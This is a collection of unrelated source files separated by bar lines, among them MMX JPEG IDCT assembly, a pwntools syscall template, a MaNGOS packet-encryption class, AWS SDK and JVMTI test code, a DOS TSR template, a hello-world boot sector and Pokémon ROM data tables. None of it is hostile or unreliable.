; z1 = tmp4 + tmp7; z2 = tmp5 + tmp6;
; tmp4 = tmp4 * 0.298631336; tmp5 = tmp5 * 2.053119869;
; tmp6 = tmp6 * 3.072711026; tmp7 = tmp7 * 1.501321110;
; z1 = z1 * -0.899976223; z2 = z2 * -2.562915447;
; data7 = tmp4 + z1 + z3; data5 = tmp5 + z2 + z4;
; data3 = tmp6 + z2 + z3; data1 = tmp7 + z1 + z4;
;
; (This implementation)
; tmp4 = tmp4 * (0.298631336 - 0.899976223) + tmp7 * -0.899976223;
; tmp5 = tmp5 * (2.053119869 - 2.562915447) + tmp6 * -2.562915447;
; tmp6 = tmp5 * -2.562915447 + tmp6 * (3.072711026 - 2.562915447);
; tmp7 = tmp4 * -0.899976223 + tmp7 * (1.501321110 - 0.899976223);
; data7 = tmp4 + z3; data5 = tmp5 + z4;
; data3 = tmp6 + z3; data1 = tmp7 + z4;
movq mm4,mm2
movq mm1,mm2
punpcklwd mm4,mm7
punpckhwd mm1,mm7
movq mm2,mm4
movq mm7,mm1
pmaddwd mm4,[GOTOFF(ebx,PW_MF060_MF089)] ; mm4=tmp4L
pmaddwd mm1,[GOTOFF(ebx,PW_MF060_MF089)] ; mm1=tmp4H
pmaddwd mm2,[GOTOFF(ebx,PW_MF089_F060)] ; mm2=tmp7L
pmaddwd mm7,[GOTOFF(ebx,PW_MF089_F060)] ; mm7=tmp7H
paddd mm4, MMWORD [wk(0)] ; mm4=data7L
paddd mm1, MMWORD [wk(1)] ; mm1=data7H
paddd mm2,mm0 ; mm2=data1L
paddd mm7,mm6 ; mm7=data1H
paddd mm4,[GOTOFF(ebx,PD_DESCALE_P2)]
paddd mm1,[GOTOFF(ebx,PD_DESCALE_P2)]
psrad mm4,DESCALE_P2
psrad mm1,DESCALE_P2
paddd mm2,[GOTOFF(ebx,PD_DESCALE_P2)]
paddd mm7,[GOTOFF(ebx,PD_DESCALE_P2)]
psrad mm2,DESCALE_P2
psrad mm7,DESCALE_P2
packssdw mm4,mm1 ; mm4=data7
packssdw mm2,mm7 ; mm2=data1
movq MMWORD [MMBLOCK(7,0,edx,SIZEOF_DCTELEM)], mm4
movq MMWORD [MMBLOCK(1,0,edx,SIZEOF_DCTELEM)], mm2
movq mm1,mm3
movq mm7,mm3
punpcklwd mm1,mm5
punpckhwd mm7,mm5
movq mm3,mm1
movq mm5,mm7
pmaddwd mm1,[GOTOFF(ebx,PW_MF050_MF256)] ; mm1=tmp5L
pmaddwd mm7,[GOTOFF(ebx,PW_MF050_MF256)] ; mm7=tmp5H
pmaddwd mm3,[GOTOFF(ebx,PW_MF256_F050)] ; mm3=tmp6L
pmaddwd mm5,[GOTOFF(ebx,PW_MF256_F050)] ; mm5=tmp6H
paddd mm1,mm0 ; mm1=data5L
paddd mm7,mm6 ; mm7=data5H
paddd mm3, MMWORD [wk(0)] ; mm3=data3L
paddd mm5, MMWORD [wk(1)] ; mm5=data3H
paddd mm1,[GOTOFF(ebx,PD_DESCALE_P2)]
paddd mm7,[GOTOFF(ebx,PD_DESCALE_P2)]
psrad mm1,DESCALE_P2
psrad mm7,DESCALE_P2
paddd mm3,[GOTOFF(ebx,PD_DESCALE_P2)]
paddd mm5,[GOTOFF(ebx,PD_DESCALE_P2)]
psrad mm3,DESCALE_P2
psrad mm5,DESCALE_P2
packssdw mm1,mm7 ; mm1=data5
packssdw mm3,mm5 ; mm3=data3
movq MMWORD [MMBLOCK(5,0,edx,SIZEOF_DCTELEM)], mm1
movq MMWORD [MMBLOCK(3,0,edx,SIZEOF_DCTELEM)], mm3
add edx, byte 4*SIZEOF_DCTELEM
dec ecx
jnz near .columnloop
emms ; empty MMX state
; pop edi ; unused
; pop esi ; unused
; pop edx ; need not be preserved
; pop ecx ; need not be preserved
poppic ebx
mov esp,ebp ; esp <- aligned ebp
pop esp ; esp <- original ebp
pop ebp
ret
; For some reason, the OS X linker does not honor the request to align the
; segment unless we do this.
align 32
|
<%
from pwnlib.shellcraft.mips.linux import syscall
%>
<%page args="start, length, vec"/>
<%docstring>
Invokes the syscall mincore. See 'man 2 mincore' for more information.
Arguments:
start(void): start
len(size_t): len
vec(unsigned): vec
</%docstring>
${syscall('SYS_mincore', start, length, vec)}
|
/*
* Copyright (C) 2005 - 2012 MaNGOS <http://www.getmangos.com/>
*
* Copyright (C) 2008 - 2012 Trinity <http://www.trinitycore.org/>
*
* Copyright (C) 2010 - 2012 ProjectSkyfire <http://www.projectskyfire.org/>
*
* Copyright (C) 2011 - 2012 ArkCORE <http://www.arkania.net/>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include "AuthCrypt.h"
#include "Cryptography/HMACSHA1.h"
#include "Logging/Log.h"
#include "Cryptography/BigNumber.h"
AuthCrypt::AuthCrypt() :
_clientDecrypt(SHA_DIGEST_LENGTH), _serverEncrypt(SHA_DIGEST_LENGTH) {
_initialized = false;
}
AuthCrypt::~AuthCrypt() {
}
void AuthCrypt::Init(BigNumber *K) {
uint8 ServerEncryptionKey[SEED_KEY_SIZE] = { 0xCC, 0x98, 0xAE, 0x04, 0xE8,
0x97, 0xEA, 0xCA, 0x12, 0xDD, 0xC0, 0x93, 0x42, 0x91, 0x53, 0x57 };
HmacHash serverEncryptHmac(SEED_KEY_SIZE, (uint8*) ServerEncryptionKey);
uint8 *encryptHash = serverEncryptHmac.ComputeHash(K);
uint8 ServerDecryptionKey[SEED_KEY_SIZE] = { 0xC2, 0xB3, 0x72, 0x3C, 0xC6,
0xAE, 0xD9, 0xB5, 0x34, 0x3C, 0x53, 0xEE, 0x2F, 0x43, 0x67, 0xCE };
HmacHash clientDecryptHmac(SEED_KEY_SIZE, (uint8*) ServerDecryptionKey);
uint8 *decryptHash = clientDecryptHmac.ComputeHash(K);
//ARC4 _serverDecrypt(encryptHash);
_clientDecrypt.Init(decryptHash);
_serverEncrypt.Init(encryptHash);
//ARC4 _clientEncrypt(decryptHash);
// Drop first 1024 bytes, as WoW uses ARC4-drop1024.
uint8 syncBuf[1024];
memset(syncBuf, 0, 1024);
_serverEncrypt.UpdateData(1024, syncBuf);
//_clientEncrypt.UpdateData(1024, syncBuf);
memset(syncBuf, 0, 1024);
//_serverDecrypt.UpdateData(1024, syncBuf);
_clientDecrypt.UpdateData(1024, syncBuf);
_initialized = true;
}
void AuthCrypt::DecryptRecv(uint8 *data, size_t len) {
if (!_initialized)
return;
_clientDecrypt.UpdateData(len, data);
}
void AuthCrypt::EncryptSend(uint8 *data, size_t len) {
if (!_initialized)
return;
_serverEncrypt.UpdateData(len, data);
}
|
/*
* Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
#include <aws/apigateway/model/GetMethodResponseResult.h>
#include <aws/core/utils/json/JsonSerializer.h>
#include <aws/core/AmazonWebServiceResult.h>
#include <aws/core/utils/StringUtils.h>
#include <aws/core/utils/UnreferencedParam.h>
#include <utility>
using namespace Aws::APIGateway::Model;
using namespace Aws::Utils::Json;
using namespace Aws::Utils;
using namespace Aws;
GetMethodResponseResult::GetMethodResponseResult()
{
}
GetMethodResponseResult::GetMethodResponseResult(const Aws::AmazonWebServiceResult<JsonValue>& result)
{
*this = result;
}
GetMethodResponseResult& GetMethodResponseResult::operator =(const Aws::AmazonWebServiceResult<JsonValue>& result)
{
JsonView jsonValue = result.GetPayload().View();
if(jsonValue.ValueExists("statusCode"))
{
m_statusCode = jsonValue.GetString("statusCode");
}
if(jsonValue.ValueExists("responseParameters"))
{
Aws::Map<Aws::String, JsonView> responseParametersJsonMap = jsonValue.GetObject("responseParameters").GetAllObjects();
for(auto& responseParametersItem : responseParametersJsonMap)
{
m_responseParameters[responseParametersItem.first] = responseParametersItem.second.AsBool();
}
}
if(jsonValue.ValueExists("responseModels"))
{
Aws::Map<Aws::String, JsonView> responseModelsJsonMap = jsonValue.GetObject("responseModels").GetAllObjects();
for(auto& responseModelsItem : responseModelsJsonMap)
{
m_responseModels[responseModelsItem.first] = responseModelsItem.second.AsString();
}
}
return *this;
}
|
/*
Copyright 2005-2006 The Apache Software Foundation or its licensors, as applicable
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @author Valentin Al. Sitnick
* @version $Revision: 1.1 $
*
*/
/* *********************************************************************** */
#include "events.h"
#include "utils.h"
#include "fake.h"
static bool test = false;
static bool util = false;
static bool flag = false;
const char test_case_name[] = "GetLocalVariableTable0104";
/* *********************************************************************** */
JNIEXPORT jint JNICALL Agent_OnLoad(prms_AGENT_ONLOAD)
{
Callbacks CB;
check_AGENT_ONLOAD;
jvmtiEvent events[] = { JVMTI_EVENT_EXCEPTION, JVMTI_EVENT_VM_DEATH };
cb_exc;
cb_death;
return func_for_Agent_OnLoad(vm, options, reserved, &CB,
events, sizeof(events)/4, test_case_name, DEBUG_OUT);
}
/* *********************************************************************** */
void JNICALL callbackException(prms_EXCPT)
{
check_EXCPT;
if (flag) return;
char* signature;
char* generic;
jint count;
jvmtiLocalVariableEntry* table;
jint loc_counter = 0;
jvmtiError result;
/*
* Function separate all other exceptions in all other method
*/
if (!check_phase_and_method_debug(jvmti_env, method, SPP_LIVE_ONLY,
"special_method", DEBUG_OUT)) return;
flag = true;
util = true;
result = jvmti_env->GetLocalVariableTable((jmethodID)jvmti_env, &count, &table);
fprintf(stderr, "\tnative: GetLocalVariableTable result = %d (must be JVMTI_ERROR_INVALID_METHODID (23)) \n", result);
fflush(stderr);
if (result == JVMTI_ERROR_INVALID_METHODID) test = true;
}
void JNICALL callbackVMDeath(prms_VMDEATH)
{
check_VMDEATH;
func_for_callback_VMDeath(jni_env, jvmti_env, test_case_name, test, util);
}
/* *********************************************************************** */
|
#include <CppUTest/CommandLineTestRunner.h>
int main(int argc, char **argv)
{
return (CommandLineTestRunner::RunAllTests(argc, argv));
}
|
; entry = trainerclass, trainerid, moveset+, 0
; moveset = partymon location, partymon's move, moveid
SpecialTrainerMoves:
db BROCK,$1
; GEODUDE
db 1,3,BIDE
; GEODUDE
db 2,3,BIDE
; ONIX
db 3,3,BIDE
db 0
db MISTY,$1
; STARYU
db 1,1,SWIFT
; PSYDUCK
db 2,1,SCRATCH
db 2,2,BUBBLEBEAM
; STARMIE
db 3,4,BUBBLEBEAM
db 0
db LT_SURGE,$1
; ELECTABUZZ
db 1,4,THUNDER_WAVE
; MAGNEMITE
db 2,3,THUNDERBOLT
; RAICHU
db 3,1,BODY_SLAM
db 3,4,THUNDERBOLT
db 0
db ERIKA,$1
; VICTREEBEL
db 1,2,GROWTH
; VILEPLUME
db 2,2,MEGA_DRAIN
; TANGELA
db 3,3,MEGA_DRAIN
db 0
db KOGA,$1
; WEEZING
db 1,1,EXPLOSION
db 1,4,TOXIC
; GOLBAT
db 2,1,TOXIC
; VENOMOTH
db 3,2,TOXIC
db 3,3,RAZOR_WIND
; MUK
db 4,3,TOXIC
db 0
db BLAINE,$1
; RAPIDASH
db 1,1,TAKE_DOWN
; NINETALES
db 2,4,FIRE_BLAST
; MAGMAR
db 3,2,SMOG
db 3,3,FIRE_PUNCH
; ARCANINE
db 4,1,REFLECT
db 4,3,FIRE_BLAST
db 0
db SABRINA,$1
; MR. MIME
db 1,1,REFLECT
; EXEGGUTOR
db 2,3,LEECH_SEED
db 2,4,PSYCHIC_M
; HYPNO
db 3,2,HYPNOSIS
db 3,4,DREAM_EATER
; ALAKAZAM
db 4,1,LIGHT_SCREEN
db 4,2,PSYWAVE
db 0
db GIOVANNI,$3
; MAROWAK
db 1,1,SKULL_BASH
; DUGTRIO
db 2,1,FISSURE
db 2,2,TRI_ATTACK
; NIDOQUEEN
db 3,1,SLUDGE_BOMB
; NIDOKING
db 4,1,SLUDGE_BOMB
; RHYDON
db 5,1,TAKE_DOWN
db 5,3,FISSURE
db 5,4,ROCK_SLIDE
db 0
db LORELEI,$1
; DEWGONG
; CLOYSTER
db 2,3,ICE_BEAM
; SLOWBRO
; JYNX
db 4,1,PSYCHIC_M
db 4,3,ICE_PUNCH
; LAPRAS
db 5,3,BLIZZARD
db 0
db BRUNO,$1
; PRIMEAPE
db 1,2,ROCK_SLIDE
db 1,3,BODY_SLAM
; HITMONCHAN
db 2,3,ICE_PUNCH
db 2,4,FIRE_PUNCH
; HITMONLEE
; ONIX
db 4,1,EARTHQUAKE
db 4,3,EXPLOSION
db 4,4,SKULL_BASH
; MACHAMP
db 5,1,EARTHQUAKE
db 5,2,BODY_SLAM
db 5,3,ROCK_SLIDE
db 0
db AGATHA,$1
; GENGAR
db 1,1,TOXIC
db 1,2,SUBSTITUTE
db 1,3,CONFUSE_RAY
db 1,4,MEGA_DRAIN
; GOLBAT
db 2,1,SLUDGE_BOMB
db 2,3,MEGA_DRAIN
db 2,4,TOXIC
; HAUNTER
db 3,2,PSYCHIC_M
db 3,3,CONFUSE_RAY
; ARBOK
db 4,1,GLARE
db 4,3,MEGA_DRAIN
db 4,4,BIND
; GENGAR
db 5,2,SLUDGE_BOMB
db 5,3,CONFUSE_RAY
db 0
db LANCE,$1
; GYARADOS
db 1,1,DRAGON_RAGE
db 1,2,THRASH
; DRAGONAIR
db 2,1,THUNDER_WAVE
db 2,3,THUNDERBOLT
db 2,4,HYPER_BEAM
; DRAGONAIR
db 3,1,THUNDER_WAVE
db 3,3,ICE_BEAM
db 3,4,HYPER_BEAM
; AERODACTYL
db 4,1,FLY
db 4,2,EARTHQUAKE
db 4,3,ROCK_SLIDE
; DRAGONITE
db 5,1,HYPER_BEAM
db 5,2,FIRE_BLAST
db 5,3,THUNDER_WAVE
db 0
db RIVAL3,$1
; PIDGEOT
; ALAKAZAM
db 2,3,TRI_ATTACK
db 2,4,THUNDER_WAVE
; GOLEM
db 3,3,SUBMISSION
; ARCANINE
db 4,3,FIRE_BLAST
; EXEGGUTOR
db 5,2,PSYCHIC_M
db 5,3,SOLARBEAM
; BLASTOISE
db 6,1,EARTHQUAKE
db 6,2,SKULL_BASH
db 6,3,ICE_BEAM
db 0
db RIVAL3,$2
; PIDGEOT
; ALAKAZAM
db 2,3,TRI_ATTACK
db 2,4,THUNDER_WAVE
; GOLEM
db 3,3,SUBMISSION
; POLIWRATH
db 4,2,EARTHQUAKE
; ARCANINE
db 5,3,FIRE_BLAST
; VENUSAUR
db 6,1,SLEEP_POWDER
db 6,2,SLUDGE_BOMB
db 6,3,EARTHQUAKE
db 6,4,PETAL_DANCE
db 0
db RIVAL3,$3
; PIDGEOT
; ALAKAZAM
db 2,3,TRI_ATTACK
db 2,4,THUNDER_WAVE
; GOLEM
db 3,3,SUBMISSION
; EXEGGUTOR
db 4,2,PSYCHIC_M
db 4,3,SOLARBEAM
; POLIWRATH
db 5,2,EARTHQUAKE
; CHARIZARD
db 6,1,FIRE_BLAST
db 6,2,FLY
db 6,4,EARTHQUAKE
db 0
db PROF_OAK,$1
; TAUROS
db 1,1,EARTHQUAKE
db 1,2,DOUBLE_EDGE
; PARASECT
db 2,3,DIG
; RAPIDASH
db 3,3,MEGAHORN
; TENTACRUEL
db 4,1,SLUDGE_BOMB
db 4,3,MEGA_DRAIN
; MAGNETON
db 5,1,THUNDER_WAVE
db 5,2,TRI_ATTACK
db 5,3,EXPLOSION
; VENUSAUR
db 6,1,SLEEP_POWDER
db 6,2,SLUDGE_BOMB
db 6,3,EARTHQUAKE
db 6,4,PETAL_DANCE
db 0
db PROF_OAK,$2
; TAUROS
db 1,1,EARTHQUAKE
db 1,2,DOUBLE_EDGE
; RAPIDASH
db 2,3,MEGAHORN
; TENTACRUEL
db 3,1,SLUDGE_BOMB
db 3,3,MEGA_DRAIN
; PARASECT
db 4,3,DIG
; MAGNETON
db 5,1,THUNDER_WAVE
db 5,2,TRI_ATTACK
db 5,3,EXPLOSION
; CHARIZARD
db 6,1,FIRE_BLAST
db 6,2,FLY
db 6,4,EARTHQUAKE
db 0
db PROF_OAK,$3
; TAUROS
db 1,1,EARTHQUAKE
db 1,2,DOUBLE_EDGE
; TENTACRUEL
db 2,1,SLUDGE_BOMB
db 2,3,MEGA_DRAIN
; PARASECT
db 3,3,DIG
; RAPIDASH
db 4,3,MEGAHORN
; MAGNETON
db 5,1,THUNDER_WAVE
db 5,2,TRI_ATTACK
db 5,3,EXPLOSION
; BLASTOISE
db 6,1,EARTHQUAKE
db 6,2,SKULL_BASH
db 6,3,ICE_BEAM
db 0
db $ff
|
; NOTE : This template is for .COM files only do not use for .EXE files!!
;
;
;
; Copyright 1986 by Dana Nowell - All rights reserved
;
; HISTORY:
; Version Date Name Description
; 1.0 11/10/86 dn first cut
; 1.01 11/21/86 dn Fixed memory allocation bug
; Added installation message
;
title TSR Template
NULL equ 00h
BELL equ 07h ; bell character
BACKSPACE equ 08h ; backspace character
TAB equ 09h ; tab character
LF equ 0ah ; line feed
F_FEED equ 0ch ; form feed
CR equ 0dh ; carriage return
EOF equ 1ah ; ctrl z ( end of file )
SPACE equ ' ' ; ascii space character
QUOTE equ '"'
SIGNATURE1 equ 6144h ; used for already
SIGNATURE2 equ 616eh ; resident check
DOS_INT equ 21h ; DOS function interrupt
DISP_CHAR equ 02h
GET_KEY equ 08h
DOS_SCR_MSG equ 09h
DOS_SET_INT equ 25h
DOS_RESIDENT equ 31h
DOS_GET_INT equ 35h
DOS_TERMINATE equ 4ch
DOS_STRING_TERM equ '$'
; Interrupt vectors used
HOOK_INT equ 1ch ; interrupt to be hooked ( timer tick now )
;------------------------------------------------------------------------------
;
; MACRO SECTION
;
;------------------------------------------------------------------------------
Version_msg macro
jmp short copyright_end
copyright_msg db CR, LF
db 'TSR Shell - Version 1.01', CR, LF
db 'Copyright 1986, Dana Nowell ', CR, LF, CR, LF
db 'May be distributed without license', CR, LF, '$'
copyright_end:
Msg copyright_msg
endm
Msg macro ptr
push dx
push ax
lea dx, ptr
mov ah, 09h
int 21h
pop ax
pop dx
endm
com segment para public 'code'
assume cs:com, ds:com, es:com
;------------------------------------------------------------------------------
;
; note: The PSP occurs at the beginning of the code segment
; for all programs. In COM files the code seg = data seg
;
;------------------------------------------------------------------------------
org 0
psp_start dw ? ; int 20h - possibly a block for unresolved
; externals during link ?
mem_size dw ? ; size of available memory in paragraphs
filler db ? ; reserved usually zero
dos_call db ? ; call
dd ? ; address of dos function handler
term_vector dd ? ; address of dos terminate routine
break_vector dd ? ; address of dos break routine
error_vector dd ? ; address of dos error routine
dos_reserved db 2 dup(?); reserved by dos
dos_handles db 20 dup(?) ; file handle array
environ_ptr dw ? ; seg of dos environment ( offset = 0 )
dos_work db 34 dup(?) ; dos work area
int_21h db ? ; int
db ? ; 21h
db ? ; retf ( return far )
reserved dw ? ; reserved by dos
fcb1_ext db 7 dup(?) ; fcb # 1 extension
fcb1 db 9 dup(?) ; fcb #1
fcb2_ext db 7 dup(?) ; fcb # 2 extension
fcb2 db 20 dup(?) ; fcb #2
;
; disk transfer area ( dta ) and parameter block occupy the same space
;
;
;dta db 128 dup(?) ; disk transfer area
param_len db ? ; length of parameter string ( excludes CR )
parameters db 127 dup(?) ; parameters
;------------------------------------------------------------------------------
;
; Note on standard fcb structure :
;
; The standard FCB is larger than the size reserved in the PSP if you
; intend to use to FCB data from the PSP move it to a different location.
;
;
; STANDARD STRUCTURE OF A FILE CONTROL BLOCK
;
;
; extension :
; offset length description
; -7 1 extension active flag ( 0ffh = active )
; -6 5 normally unused should be zeros
; -1 1 file attribute when extension is active
; 1 . . . . . . . 1 read-only
; 2 . . . . . . 1 . hidden
; 4 . . . . . 1 . . system
; 8 . . . . 1 . . . volume label
; 16 . . . 1 . . . . subdirectory
; 32 . . 1 . . . . . archive
; 64 . 1 . . . . . . unused
; 128 1 . . . . . . . unused
;
; fcb :
; offset length description
; 0 1 special drive number ( 1 byte )
; 0 = default
; 1 = a:
; 2 = b: etc
; 1 8 filename or device name
; 9 3 filename extension
; 12 2 current block number
; 14 2 record size
; 16 4 file size in bytes ( dos dir entry at open )
; 20 2 file date ( bit coded as in dir )
; 22 10 dos work area
; 32 1 current record number ( 0 - 127 )
; 33 4 random record number
;
;------------------------------------------------------------------------------
org 100h ; required for COM file ( skips PSP )
start:
jmp install ; install the demon
;-------------------------------------------------------------------
;
; resident data structures go here
;
;-------------------------------------------------------------------
old_int dd 0 ; original value of hooked interrupt
resident1 dw SIGNATURE1
resident2 dw SIGNATURE2
;-------------------------------------------------------------------
;
; new interrupt starts here
;
;-------------------------------------------------------------------
new_int:
pushf
sti ; must turn INT on if we're going to use them
;-------------------------------------------------------------------
;
; be well behaved and pass control to original int
;
;-------------------------------------------------------------------
popf
pushf
call dword ptr cs:old_int ; do old interrupt
iret ; bye bye
;------------------------------------------------------------------------------
;
; INSTALLATION DATA STRUCTURES AND CODE GO HERE
;
; WARNING WARNING WARNING - this area does not exist after installation
;
;------------------------------------------------------------------------------
last_resident_byte db 0 ; last resident byte
resident_flag dw 0 ; am I already resident ? ( 0 = NO )
install_msg db CR, LF, 'Installation Complete', CR, LF, '$'
already_installed_msg db CR, LF
db 'Already Installed - Installation Aborted'
db CR, LF, '$'
install proc near
Version_msg
mov al, HOOK_INT ; int to hook
mov ah, DOS_GET_INT ; get int(AL) vector ==> ES+BX
int DOS_INT ; do the int
lea si, old_int ; where to put old timer interrupt vector
mov [si], bx ; save the offset and segment
mov 2[si], es ; ( es also used in check resident )
call check_resident ; am I already resident ?
cmp resident_flag, 0
je not_resident
Msg already_installed_msg
mov ah, DOS_TERMINATE ; terminate & stay resident
mov al, 1 ; return value is 1 (already installed)
int DOS_INT ; bye-bye
not_resident:
mov dx, offset new_int ; offset of new timer interrupt
mov al, HOOK_INT ; timer tick
mov ah, DOS_SET_INT ; set int(AL) vector from DS+DX
int DOS_INT ; do the int
; program terminate and stay resident
Msg install_msg ; Display the installation message
mov dx, offset last_resident_byte
mov cl, 4 ; convert to paragraphs required to
shr dx, cl ; remain resident ( divide by 16 )
inc dx ; allow for any remainder of division
mov ah, DOS_RESIDENT ; terminate & stay resident
mov al, 0 ; return value is 0 (good return)
int DOS_INT ; bye-bye
install endp
;
; Check resident procedure
; requires es register to contain the segment address of
; the current location for the interrupt being hooked.
; use the DOS function 35h to obtain this information.
;
check_resident proc near
cmp es:resident1, SIGNATURE1
jne not_res
cmp es:resident2, SIGNATURE2
jne not_res
mov resident_flag, 1
not_res:
ret
check_resident endp
com ends
end start
|
;;----------------------BOOTLOADER-------------------------------
USE16 ; especifica que se usara el modo de compilacion de 16 bits
ORG 0x7C00 ; especifica que el programa se cargara en la direccion
; 0x7C00 de la memoria
jmp inicio ; salto a la etiqueta inicio
inicio: ; funcion principal del programa
mov al, "h" ; caracter a escribir en la pantalla
mov ah, 0x0E ; escribe un caracter en la pantalla y avanza el cursor
int 0x10
mov al, "o"
mov ah, 0x0E
int 0x10
mov al, "l"
mov ah, 0x0E
int 0x10
mov al, "a"
mov ah, 0x0E
int 0x10
mov al, "_"
mov ah, 0x0E
int 0x10
mov al, "m"
mov ah, 0x0E
int 0x10
mov al, "u"
mov ah, 0x0E
int 0x10
mov al, "n"
mov ah, 0x0E
int 0x10
mov al, "d"
mov ah, 0x0E
int 0x10
mov al, "o"
mov ah, 0x0E
int 0x10
hlt ; Esta instruccion detiene el procesador para que ya no ejecute
; mas instrucciones.
;; -----------------------Estructura MBR----------------------------------
TIMES 510 - ($-$$) db 0 ; Completa el archivo con ceros hasta 2 bytes antes
; del final, esto para ocupar todo el sector boot (MBR).
dw 0xAA55 ; los dos bytes finales del programa contiene la firma que identifica
; al programa como un MBR Booteable. |
;
; BIGSHR.ASM
;
; Implementation for for signed and unsigned right shift of a 64 bit integer.
;
; Copyright (c) 2017 Malcolm J. Smith
;
; Permission is hereby granted, free of charge, to any person obtaining a copy
; of this software and associated documentation files (the "Software"), to deal
; in the Software without restriction, including without limitation the rights
; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
; copies of the Software, and to permit persons to whom the Software is
; furnished to do so, subject to the following conditions:
;
; The above copyright notice and this permission notice shall be included in
; all copies or substantial portions of the Software.
;
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
; THE SOFTWARE.
;
.386
.MODEL FLAT, C
.CODE
; ULARGE_INTEGER [High EDX, Low EAX]
; _aullshr(
; ULARGE_INTEGER Value, [High EDX, Low EAX]
; UCHAR Shift [CL]
; );
public _aullshr
_aullshr proc
; If the shift is for more than 64 bits, all the data would be gone, so
; return zero. If the shift is for more than 32 bits, the high 32 bits
; of the result must be zero, and the low 32 bits contains the high 32
; bits of input after shifting. If the shift is less than 32 bits, then
; both components must be shifted with bits carried between the two.
cmp cl,64
jae aullshr_no_shift
cmp cl,32
jae aullshr_long_shift
jmp aullshr_short_shift
aullshr_short_shift:
shrd eax, edx, cl
shr edx, cl
ret
aullshr_long_shift:
sub cl, 32
shr edx, cl
mov eax, edx
xor edx, edx
ret
aullshr_no_shift:
xor eax, eax
xor edx, edx
ret
_aullshr endp
; LARGE_INTEGER [High EDX, Low EAX]
; _allshr(
; LARGE_INTEGER Value, [High EDX, Low EAX]
; UCHAR Shift [CL]
; );
; It's not clear to me what the meaning of a signed bitshift is, but for now
; give it to the unsigned implementation.
public _allshr
_allshr proc
jmp _aullshr
_allshr endp
END
|
SFX_Ball_Toss_Ch4:
duty 2
unknownsfx0x10 47
unknownsfx0x20 15, 242, 128, 7
endchannel
SFX_Ball_Toss_Ch5:
duty 2
unknownsfx0x20 15, 194, 130, 7
endchannel
|
; Z88 Small C+ Run Time Library
; Long functions
;
SECTION code_clib
SECTION code_l_sccz80
PUBLIC l_long_add
EXTERN l_long_add_stack
defc l_long_add = l_long_add_stack
|
; A080121: a(n) is the smallest k > 0 such that n^2^k + (n+1)^2^k is prime, or -1 if no such k exists.
; 1,1,2,1,1,2,1,2,1,5
seq $0,50873 ; Triangular array T read by rows: T(n,k) = gcd(n,k).
seq $0,32741 ; a(0) = 0; for n > 0, a(n) = number of proper divisors of n (divisors of n which are less than n).
seq $0,94360 ; Pair reversal of Jacobsthal-Lucas numbers.
mul $0,2
div $0,3
add $0,1
|
segment .text
align 4
f:
push ebp
mov ebp, esp
sub esp, 4
lea eax, [ebp+8]
push eax
pop eax
push dword [eax]
call prints
add esp, 4
push dword 10
push dword [esp]
lea eax, [ebp+-4]
push eax
pop ecx
pop eax
mov [ecx], eax
add esp, 4
lea eax, [ebp+-4]
push eax
pop eax
push dword [eax]
pop eax
leave
ret
align 4
global g:function
g:
push ebp
mov ebp, esp
sub esp, 4
lea eax, [ebp+8]
push eax
pop eax
push dword [eax]
call printi
add esp, 4
push dword 10
push dword [esp]
lea eax, [ebp+-4]
push eax
pop ecx
pop eax
mov [ecx], eax
add esp, 4
lea eax, [ebp+-4]
push eax
pop eax
push dword [eax]
pop eax
leave
ret
align 4
global _main:function
_main:
align 4
xpl:
push ebp
mov ebp, esp
sub esp, 4
push dword 0
lea eax, [ebp+-4]
push eax
pop ecx
pop eax
mov [ecx], eax
segment .rodata
align 4
_L1:
db "ola", 0
segment .text
push dword $_L1
call f
add esp, 4
push eax
add esp, 4
lea eax, [ebp+-4]
push eax
pop eax
push dword [eax]
pop eax
leave
ret
extern argc
extern argv
extern envp
extern readi
extern readd
extern printi
extern prints
extern printd
extern println
|
TITLE DLLENTRY - Copyright (c) 1994 SLR Systems
INCLUDE MACROS
INCLUDE SYMCMACS
INCLUDE RELEASE
INCLUDE WIN32DEF
INCLUDE WINMACS
INCLUDE IO_STRUC
PUBLIC DLL_ENTRY,_NetSpawnVersion,_DllVersion,DLL_TERMINATE,REPORT_ASCIZ,REPORT_MESSAGE,REPORT_PROGRESS
PUBLIC REPORT_OUT_ASCIZ,REPORT_CLOSE_ASCIZ
.DATA
EXTERNDEF MY_ARGC:DWORD,CMDLINE_BLOCK:DWORD,CURN_COUNT:DWORD,YIELD_COUNT:DWORD,GLOBAL_BLOCKS:DWORD
EXTERNDEF MY_ARGV:DWORD,CURN_INPTR:DWORD,BEGIN_DATA:DWORD,FINISH_DATA:DWORD,BEGIN_BSS:DWORD,FINISH_BSS:DWORD
EXTERNDEF MAIN_THREAD_ID:DWORD,MAIN_THREAD_HANDLE:DWORD,ERR_COUNT:DWORD,OBJ_DEVICE:DWORD
